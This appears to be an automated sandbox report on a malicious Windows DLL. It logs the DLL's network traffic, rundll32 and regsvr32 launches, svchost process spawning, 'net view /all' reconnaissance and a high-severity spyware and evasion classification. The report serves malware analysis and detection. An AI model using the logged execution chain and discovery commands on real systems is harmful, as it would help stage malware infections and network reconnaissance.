Source: global traffic	HTTP traffic detected: GET /gslielaqto24df8l83m/0jGst3i6n6fg13MJ/4bceiqRm2r87ycpn1u8y9ssKwmwt6uzkhzatBus6kg58Fw/dzeTx1tygqak07knjYfblpqae04Cd2sdsqx3urO3wgmK/drfZvmojkfLh4FdUghS4u25uuevdslz/ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: www.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ly30h9u0yrnbcne3gh/5uhvH6rsX0H6Ort7h9f2Kk8gUKz8Vjn/rccOf0uquugl4aQ9ttsh5l100sqKiUmoU2A9/ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: www.amazon.comConnection: Keep-Alive

Source: unknown	HTTPS traffic detected: 104.20.184.68:443 -> 192.168.2.3:49775 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.20.184.68:443 -> 192.168.2.3:49774 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.70.134:443 -> 192.168.2.3:49788 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.70.134:443 -> 192.168.2.3:49789 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.2.70:443 -> 192.168.2.3:49796 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.2.70:443 -> 192.168.2.3:49797 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.70:443 -> 192.168.2.3:49799 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.70:443 -> 192.168.2.3:49798 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 161.35.19.83:443 -> 192.168.2.3:49843 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 161.35.19.83:443 -> 192.168.2.3:49856 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 161.35.19.83:443 -> 192.168.2.3:49876 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 161.35.29.127:443 -> 192.168.2.3:49879 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.219.225.118:443 -> 192.168.2.3:49886 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 87.248.100.216:443 -> 192.168.2.3:49892 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.196:443 -> 192.168.2.3:49896 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.59.81:443 -> 192.168.2.3:49919 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.219.225.118:443 -> 192.168.2.3:49922 version: TLS 1.2

System Summary:

Source: C:\Windows\System32\svchost.exe	Code function: 24_2_00007FF70D6EDE80	24_2_00007FF70D6EDE80
Source: C:\Windows\System32\svchost.exe	Code function: 24_2_00007FF70D6E3E20	24_2_00007FF70D6E3E20
Source: C:\Windows\System32\svchost.exe	Code function: 24_2_00007FF70D6EFE00	24_2_00007FF70D6EFE00
Source: C:\Windows\System32\svchost.exe	Code function: 24_2_00007FF70D6F0DF0	24_2_00007FF70D6F0DF0
Source: C:\Windows\System32\svchost.exe	Code function: 24_2_00007FF70D6F3040	24_2_00007FF70D6F3040
Source: C:\Windows\System32\svchost.exe	Code function: 24_2_00007FF70D6E5020	24_2_00007FF70D6E5020
Source: C:\Windows\System32\svchost.exe	Code function: 24_2_00007FF70D6F6F20	24_2_00007FF70D6F6F20
Source: C:\Windows\System32\svchost.exe	Code function: 24_2_00007FF70D6E6010	24_2_00007FF70D6E6010
Source: C:\Windows\System32\svchost.exe	Code function: 24_2_00007FF70D6E8A90	24_2_00007FF70D6E8A90
Source: C:\Windows\System32\svchost.exe	Code function: 24_2_00007FF70D6F7A60	24_2_00007FF70D6F7A60
Source: C:\Windows\System32\svchost.exe	Code function: 24_2_00007FF70D6E1220	24_2_00007FF70D6E1220
Source: C:\Windows\System32\svchost.exe	Code function: 24_2_00007FF70D6F42E0	24_2_00007FF70D6F42E0
Source: C:\Windows\System32\svchost.exe	Code function: 24_2_00007FF70D6FC950	24_2_00007FF70D6FC950
Source: C:\Windows\System32\svchost.exe	Code function: 24_2_00007FF70D6EC9D0	24_2_00007FF70D6EC9D0
Source: C:\Windows\System32\svchost.exe	Code function: 24_2_00007FF70D6E49B0	24_2_00007FF70D6E49B0
Source: C:\Windows\System32\svchost.exe	Code function: 24_2_00007FF70D6F39B0	24_2_00007FF70D6F39B0
Source: C:\Windows\System32\svchost.exe	Code function: 24_2_00007FF70D6F4C50	24_2_00007FF70D6F4C50
Source: C:\Windows\System32\svchost.exe	Code function: 24_2_00007FF70D6F14B0	24_2_00007FF70D6F14B0
Source: C:\Windows\System32\svchost.exe	Code function: 24_2_00007FF70D6E5410	24_2_00007FF70D6E5410
Source: C:\Windows\System32\svchost.exe	Code function: 24_2_00007FF70D6E1EF0	24_2_00007FF70D6E1EF0
Source: C:\Windows\System32\svchost.exe	Code function: 24_2_00007FF70D6EE6E0	24_2_00007FF70D6EE6E0
Source: C:\Windows\System32\svchost.exe	Code function: 24_2_00007FF70D6FD560	24_2_00007FF70D6FD560
Source: C:\Windows\System32\svchost.exe	Code function: 24_2_00007FF70D6EED60	24_2_00007FF70D6EED60
Source: C:\Windows\System32\svchost.exe	Code function: 24_2_00007FF70D6E7D30	24_2_00007FF70D6E7D30
Source: C:\Windows\System32\svchost.exe	Code function: 24_2_00007FF70D70CE00	24_2_00007FF70D70CE00
Source: C:\Windows\System32\svchost.exe	Code function: 24_2_00007FF70D6E85D0	24_2_00007FF70D6E85D0
Source: C:\Windows\System32\svchost.exe	Code function: 24_2_00007FF70D6E7870	24_2_00007FF70D6E7870
Source: C:\Windows\System32\svchost.exe	Code function: 24_2_00007FF70D6ED040	24_2_00007FF70D6ED040
Source: C:\Windows\System32\svchost.exe	Code function: 24_2_00007FF70D70982C	24_2_00007FF70D70982C
Source: C:\Windows\System32\svchost.exe	Code function: 24_2_00007FF70D6EF810	24_2_00007FF70D6EF810
Source: C:\Windows\System32\svchost.exe	Code function: 24_2_00007FF70D701800	24_2_00007FF70D701800
Source: C:\Windows\System32\svchost.exe	Code function: 24_2_00007FF70D6FDFE0	24_2_00007FF70D6FDFE0
Source: C:\Windows\System32\svchost.exe	Code function: 24_2_00007FF70D70BAA4	24_2_00007FF70D70BAA4
Source: C:\Windows\System32\svchost.exe	Code function: 24_2_00007FF70D6FDA40	24_2_00007FF70D6FDA40
Source: C:\Windows\System32\svchost.exe	Code function: 24_2_00007FF70D6E72E0	24_2_00007FF70D6E72E0
Source: C:\Windows\System32\svchost.exe	Code function: 24_2_00007FF70D701180	24_2_00007FF70D701180
Source: C:\Windows\System32\svchost.exe	Code function: 24_2_00007FF70D6E3A10	24_2_00007FF70D6E3A10
Source: C:\Windows\System32\svchost.exe	Code function: 24_2_00007FF70D711418	24_2_00007FF70D711418
Source: C:\Windows\System32\svchost.exe	Code function: 24_2_00007FF70D6EDB90	24_2_00007FF70D6EDB90
Source: C:\Windows\System32\svchost.exe	Code function: 24_2_00007FF70D6F2380	24_2_00007FF70D6F2380
Source: C:\Windows\System32\svchost.exe	Code function: 24_2_00007FF70D711BD0	24_2_00007FF70D711BD0
Source: C:\Windows\System32\svchost.exe	Code function: 24_2_00007FF70D70CBF4	24_2_00007FF70D70CBF4
Source: C:\Windows\System32\svchost.exe	Code function: 24_2_00007FF70D6E6BF0	24_2_00007FF70D6E6BF0
Source: C:\Windows\System32\svchost.exe	Code function: 29_2_00007FF70D6F6F20	29_2_00007FF70D6F6F20
Source: C:\Windows\System32\svchost.exe	Code function: 29_2_00007FF70D6F7A60	29_2_00007FF70D6F7A60
Source: C:\Windows\System32\svchost.exe	Code function: 29_2_00007FF70D6E1220	29_2_00007FF70D6E1220
Source: C:\Windows\System32\svchost.exe	Code function: 29_2_00007FF70D6EDE80	29_2_00007FF70D6EDE80
Source: C:\Windows\System32\svchost.exe	Code function: 29_2_00007FF70D6E3E20	29_2_00007FF70D6E3E20
Source: C:\Windows\System32\svchost.exe	Code function: 29_2_00007FF70D6E1EF0	29_2_00007FF70D6E1EF0
Source: C:\Windows\System32\svchost.exe	Code function: 29_2_00007FF70D6EE6E0	29_2_00007FF70D6EE6E0
Source: C:\Windows\System32\svchost.exe	Code function: 29_2_00007FF70D6FD560	29_2_00007FF70D6FD560
Source: C:\Windows\System32\svchost.exe	Code function: 29_2_00007FF70D6EED60	29_2_00007FF70D6EED60
Source: C:\Windows\System32\svchost.exe	Code function: 29_2_00007FF70D6E7D30	29_2_00007FF70D6E7D30
Source: C:\Windows\System32\svchost.exe	Code function: 29_2_00007FF70D70CE00	29_2_00007FF70D70CE00
Source: C:\Windows\System32\svchost.exe	Code function: 29_2_00007FF70D6EFE00	29_2_00007FF70D6EFE00
Source: C:\Windows\System32\svchost.exe	Code function: 29_2_00007FF70D6F0DF0	29_2_00007FF70D6F0DF0
Source: C:\Windows\System32\svchost.exe	Code function: 29_2_00007FF70D6E85D0	29_2_00007FF70D6E85D0
Source: C:\Windows\System32\svchost.exe	Code function: 29_2_00007FF70D6E7870	29_2_00007FF70D6E7870
Source: C:\Windows\System32\svchost.exe	Code function: 29_2_00007FF70D6F3040	29_2_00007FF70D6F3040
Source: C:\Windows\System32\svchost.exe	Code function: 29_2_00007FF70D6ED040	29_2_00007FF70D6ED040
Source: C:\Windows\System32\svchost.exe	Code function: 29_2_00007FF70D6E5020	29_2_00007FF70D6E5020
Source: C:\Windows\System32\svchost.exe	Code function: 29_2_00007FF70D70982C	29_2_00007FF70D70982C
Source: C:\Windows\System32\svchost.exe	Code function: 29_2_00007FF70D6E6010	29_2_00007FF70D6E6010
Source: C:\Windows\System32\svchost.exe	Code function: 29_2_00007FF70D6EF810	29_2_00007FF70D6EF810
Source: C:\Windows\System32\svchost.exe	Code function: 29_2_00007FF70D701800	29_2_00007FF70D701800
Source: C:\Windows\System32\svchost.exe	Code function: 29_2_00007FF70D6FDFE0	29_2_00007FF70D6FDFE0
Source: C:\Windows\System32\svchost.exe	Code function: 29_2_00007FF70D6E8A90	29_2_00007FF70D6E8A90
Source: C:\Windows\System32\svchost.exe	Code function: 29_2_00007FF70D70BAA4	29_2_00007FF70D70BAA4
Source: C:\Windows\System32\svchost.exe	Code function: 29_2_00007FF70D6FDA40	29_2_00007FF70D6FDA40
Source: C:\Windows\System32\svchost.exe	Code function: 29_2_00007FF70D6E72E0	29_2_00007FF70D6E72E0
Source: C:\Windows\System32\svchost.exe	Code function: 29_2_00007FF70D6F42E0	29_2_00007FF70D6F42E0
Source: C:\Windows\System32\svchost.exe	Code function: 29_2_00007FF70D701180	29_2_00007FF70D701180
Source: C:\Windows\System32\svchost.exe	Code function: 29_2_00007FF70D6FC950	29_2_00007FF70D6FC950
Source: C:\Windows\System32\svchost.exe	Code function: 29_2_00007FF70D6E3A10	29_2_00007FF70D6E3A10
Source: C:\Windows\System32\svchost.exe	Code function: 29_2_00007FF70D6EC9D0	29_2_00007FF70D6EC9D0
Source: C:\Windows\System32\svchost.exe	Code function: 29_2_00007FF70D6E49B0	29_2_00007FF70D6E49B0
Source: C:\Windows\System32\svchost.exe	Code function: 29_2_00007FF70D6F39B0	29_2_00007FF70D6F39B0
Source: C:\Windows\System32\svchost.exe	Code function: 29_2_00007FF70D6F4C50	29_2_00007FF70D6F4C50
Source: C:\Windows\System32\svchost.exe	Code function: 29_2_00007FF70D711418	29_2_00007FF70D711418
Source: C:\Windows\System32\svchost.exe	Code function: 29_2_00007FF70D711C1C	29_2_00007FF70D711C1C
Source: C:\Windows\System32\svchost.exe	Code function: 29_2_00007FF70D6F14B0	29_2_00007FF70D6F14B0
Source: C:\Windows\System32\svchost.exe	Code function: 29_2_00007FF70D6EDB90	29_2_00007FF70D6EDB90
Source: C:\Windows\System32\svchost.exe	Code function: 29_2_00007FF70D6F2380	29_2_00007FF70D6F2380
Source: C:\Windows\System32\svchost.exe	Code function: 29_2_00007FF70D70CBF4	29_2_00007FF70D70CBF4
Source: C:\Windows\System32\svchost.exe	Code function: 29_2_00007FF70D6E5410	29_2_00007FF70D6E5410
Source: C:\Windows\System32\svchost.exe	Code function: 29_2_00007FF70D6E6BF0	29_2_00007FF70D6E6BF0

Source: C:\Windows\System32\regsvr32.exe

Section loaded: sfc.dll

Jump to behavior

Source: TWsmIoYqC6.dll

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Windows\System32\loaddll64.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\loaddll64.exe loaddll64.exe 'C:\Users\user\Desktop\TWsmIoYqC6.dll'
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /C rundll32.exe 'C:\Users\user\Desktop\TWsmIoYqC6.dll',#1
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\regsvr32.exe regsvr32.exe /s C:\Users\user\Desktop\TWsmIoYqC6.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe 'C:\Users\user\Desktop\TWsmIoYqC6.dll',#1
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Program Files\internet explorer\iexplore.exe C:\Program Files\Internet Explorer\iexplore.exe
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Users\user\Desktop\TWsmIoYqC6.dll,DllRegisterServer
Source: C:\Program Files\internet explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:6460 CREDAT:17410 /prefetch:2
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Users\user\Desktop\TWsmIoYqC6.dll,DllUnregisterServer
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Users\user\Desktop\TWsmIoYqC6.dll,PauseW
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Users\user\Desktop\TWsmIoYqC6.dll,ResumeServer
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Users\user\Desktop\TWsmIoYqC6.dll,ResumeW
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Users\user\Desktop\TWsmIoYqC6.dll,StartServer
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Users\user\Desktop\TWsmIoYqC6.dll,StartW
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Users\user\Desktop\TWsmIoYqC6.dll,StopServer
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Users\user\Desktop\TWsmIoYqC6.dll,SuspendServer
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Users\user\Desktop\TWsmIoYqC6.dll,opj_codec_set_threads
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Users\user\Desktop\TWsmIoYqC6.dll,opj_create_compress
Source: unknown	Process created: C:\Windows\System32\rundll32.exe C:\Windows\System32\rundll32.exe C:\Users\user\Desktop\TWsmIoYqC6.dll,DllRegisterServer {FD4EF353-9C8C-48E0-BB05-78974FB93B24}
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Users\user\Desktop\TWsmIoYqC6.dll,opj_create_decompress
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Users\user\Desktop\TWsmIoYqC6.dll,opj_decode
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k UnistackSvcGroup
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Users\user\Desktop\TWsmIoYqC6.dll,opj_decode_tile_data
Source: unknown	Process created: C:\Windows\System32\rundll32.exe C:\Windows\System32\rundll32.exe C:\Users\user\Desktop\TWsmIoYqC6.dll,PauseW {472D041F-5A83-4CB6-BA61-CCC2757AAF71}
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Users\user\Desktop\TWsmIoYqC6.dll,opj_destroy_codec
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k UnistackSvcGroup
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Users\user\Desktop\TWsmIoYqC6.dll,opj_destroy_cstr_index
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Users\user\Desktop\TWsmIoYqC6.dll,opj_destroy_cstr_info
Source: unknown	Process created: C:\Windows\System32\rundll32.exe C:\Windows\System32\rundll32.exe C:\Users\user\Desktop\TWsmIoYqC6.dll,ResumeW {A30E4BC4-954D-4192-B87D-90749D0EE54D}
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Users\user\Desktop\TWsmIoYqC6.dll,opj_dump_codec
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Users\user\Desktop\TWsmIoYqC6.dll,opj_encode
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k UnistackSvcGroup
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Users\user\Desktop\TWsmIoYqC6.dll,opj_encoder_set_extra_options
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\net.exe net view /all
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /C rundll32.exe 'C:\Users\user\Desktop\TWsmIoYqC6.dll',#1	Jump to behavior
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\regsvr32.exe regsvr32.exe /s C:\Users\user\Desktop\TWsmIoYqC6.dll	Jump to behavior
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Program Files\internet explorer\iexplore.exe C:\Program Files\Internet Explorer\iexplore.exe	Jump to behavior
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Users\user\Desktop\TWsmIoYqC6.dll,DllRegisterServer	Jump to behavior
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Users\user\Desktop\TWsmIoYqC6.dll,DllUnregisterServer	Jump to behavior
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Users\user\Desktop\TWsmIoYqC6.dll,PauseW	Jump to behavior
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Users\user\Desktop\TWsmIoYqC6.dll,ResumeServer	Jump to behavior
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Users\user\Desktop\TWsmIoYqC6.dll,ResumeW	Jump to behavior
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Users\user\Desktop\TWsmIoYqC6.dll,StartServer	Jump to behavior
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Users\user\Desktop\TWsmIoYqC6.dll,StartW	Jump to behavior
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Users\user\Desktop\TWsmIoYqC6.dll,StopServer	Jump to behavior
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Users\user\Desktop\TWsmIoYqC6.dll,SuspendServer	Jump to behavior
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Users\user\Desktop\TWsmIoYqC6.dll,opj_codec_set_threads	Jump to behavior
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Users\user\Desktop\TWsmIoYqC6.dll,opj_create_compress	Jump to behavior
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Users\user\Desktop\TWsmIoYqC6.dll,opj_create_decompress	Jump to behavior
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Users\user\Desktop\TWsmIoYqC6.dll,opj_decode	Jump to behavior
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Users\user\Desktop\TWsmIoYqC6.dll,opj_decode_tile_data	Jump to behavior
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Users\user\Desktop\TWsmIoYqC6.dll,opj_destroy_codec	Jump to behavior
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Users\user\Desktop\TWsmIoYqC6.dll,opj_destroy_cstr_index	Jump to behavior
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Users\user\Desktop\TWsmIoYqC6.dll,opj_destroy_cstr_info	Jump to behavior
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Users\user\Desktop\TWsmIoYqC6.dll,opj_dump_codec	Jump to behavior
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Users\user\Desktop\TWsmIoYqC6.dll,opj_encode	Jump to behavior
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Users\user\Desktop\TWsmIoYqC6.dll,opj_encoder_set_extra_options	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe 'C:\Users\user\Desktop\TWsmIoYqC6.dll',#1	Jump to behavior
Source: C:\Program Files\internet explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:6460 CREDAT:17410 /prefetch:2	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k UnistackSvcGroup	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k UnistackSvcGroup	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k UnistackSvcGroup
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\net.exe net view /all
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown

Source: C:\Windows\System32\rundll32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{5CE34C0D-0DC9-4C1F-897C-DAA1B78CEE7C}\InProcServer32

Jump to behavior

Source: C:\Program Files\internet explorer\iexplore.exe

File created: C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High

Jump to behavior

Source: C:\Program Files\internet explorer\iexplore.exe

File created: C:\Users\user\AppData\Local\Temp\~DF7B5EEE81501E0ABB.TMP

Jump to behavior

Source: classification engine

Classification label: mal100.spre.spyw.evad.winDLL@67/122@16/10

Source: C:\Program Files\internet explorer\iexplore.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\rundll32.exe rundll32.exe 'C:\Users\user\Desktop\TWsmIoYqC6.dll',#1

Source: C:\Windows\System32\svchost.exe	Mutant created: \Sessions\1\BaseNamedObjects\{a4f25aea-0e06-40f9-81b2-53370f3faa31}
Source: C:\Windows\System32\rundll32.exe	Mutant created: \Sessions\1\BaseNamedObjects\{4b03c46d-9a60-4fba-bdeb-7fc0f42c98fa}

Source: C:\Windows\System32\rundll32.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\System32\rundll32.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\System32\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\System32\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: TWsmIoYqC6.dll

Static PE information: Image base 0x180000000 > 0x60000000

Source: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File opened: C:\Program Files (x86)\Java\jre1.8.0_211\bin\msvcr100.dll

Jump to behavior

Source: TWsmIoYqC6.dll

Static file information: File size 1318026 > 1048576

Source: TWsmIoYqC6.dll

Static PE information: DYNAMIC_BASE, NX_COMPAT, HIGH_ENTROPY_VA

Source: TWsmIoYqC6.dll

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source: C:\Windows\System32\svchost.exe	Code function: 24_2_00007FF70D71A69D push rcx; retf 003Fh	24_2_00007FF70D71A69E
Source: C:\Windows\System32\svchost.exe	Code function: 24_2_00007FF70D714048 push rax; retf	24_2_00007FF70D714049
Source: C:\Windows\System32\svchost.exe	Code function: 29_2_00007FF70D714048 push rax; retf	29_2_00007FF70D714049

Source: TWsmIoYqC6.dll

Static PE information: section name: _RDATA

Source: C:\Windows\System32\loaddll64.exe

Process created: C:\Windows\System32\regsvr32.exe regsvr32.exe /s C:\Users\user\Desktop\TWsmIoYqC6.dll

Source: C:\Windows\System32\svchost.exe

Code function: 24_2_00007FF70D6F7A60 GetProcAddress,CreateMutexExA,GetProcessHeap,HeapAlloc,GetProcessHeap,HeapAlloc,GetProcessHeap,HeapFree,GetProcessHeap,HeapAlloc,GetProcessHeap,wsprintfA,GetProcAddress,StrDupA,StrDupA,StrDupA,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcAddress,wsprintfA,wsprintfA,GetProcAddress,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,wsprintfA,wsprintfA,GetProcAddress,GetProcAddress,SleepEx,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcAddress,SleepEx,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,lstrcpyA,lstrcpyW,lstrcpyW,GetProcAddress,GetProcAddress,lstrcpyW,lstrcmpiW,lstrcatW,lstrcpyW,lstrlenW,lstrlenW,lstrlenW,GetProcessHeap,HeapAlloc,lstrcpyW,wsprintfW,GetProcAddress,GetProcessHeap,HeapFree,GetProcAddress,lstrcpyA,StrToIntA,wsprintfA,wsprintfA,GetProcAddress,VirtualAlloc,GetProcAddress,VirtualFree,wsprintfA,wsprintfA,lstrcpyA,lstrcpyA,lstrcpyA,wsprintfA,lstrlenA,lstrcpyA,lstrcpyA,lstrcpyW,GetProcAddress,GetProcAddress,lstrcpyW,lstrcpyA,lstrcpyA,lstrcpyA,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcAddress,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcAddress,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,lstrcpyA,GetProcAddress,GetLastError,GetLastError,lstrlenA,wsprintfA,lstrcpyA,lstrlenA,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,WaitForSingleObject,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,

24_2_00007FF70D6F7A60

Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
